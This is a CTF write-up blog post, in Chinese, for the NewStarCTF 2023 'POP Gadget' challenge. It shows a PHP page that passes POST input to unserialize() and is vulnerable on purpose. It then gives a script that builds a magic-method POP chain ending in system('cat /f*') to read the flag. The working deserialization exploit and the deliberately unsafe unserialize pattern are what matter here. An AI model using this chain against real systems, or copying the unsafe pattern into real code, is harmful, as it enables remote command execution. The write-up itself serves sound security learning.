[NewStarCTF 2023 公开赛道]POP Gadget 2025-03-02 323- 1m- - 刷题笔记-php反序列化[NewStarCTF 2023 公开赛道]POP Gadget1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071<?phphighlight_file(__FILE__);class Begin{ public $name; public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } }}class Then{ private $func; public function __toString() { ($this->func)(); return "Good Job!"; }}class Handle{ protected $obj; public function __call($func, $vars) { $this->obj->end(); }}class Super{ protected $obj; public function __invoke() { $this->obj->getStr(); } public function end() { die("==GAME OVER=="); }}class CTF{ public $handle; public function end() { unset($this->handle->log); }}class WhiteGod{ public $func; public $var; public function __unset($var) { ($this->func)($this->var); }}@unserialize($_POST['pop']); php反序列化的题 我们发现5存在命令执行漏洞,所以我们需要触发5的__unset魔术方法,逐渐往上推,我们就能发现从1->2->3->4->5的反序列化链了 12345678910111213141516171819202122232425262728293031323334353637383940<?phphighlight_file(__FILE__);class Begin{ public $name; }class Then{ public $func;}class Handle{ public $obj;}class Super{ public $obj;}class CTF{ public $handle; }class WhiteGod{ public $func="system"; public $var="cat /f*";}$pop=new Begin();$pop->name=new Then();$pop->name->func=new Super();$pop->name->func->obj=new Handle();$pop->name->func->obj->obj=new CTF();$pop->name->func->obj->obj->handle=new WhiteGod();echo serialize($pop); 运行,提交,得到flag Post author: kinseyPost link: https://kinsey973.github.io/2025/03/02/NewStarCTF-2023-%E5%85%AC%E5%BC%80%E8%B5%9B%E9%81%93-POP-Gadget/Copyright Notice: All articles in this blog are licensed under unless otherwise stated.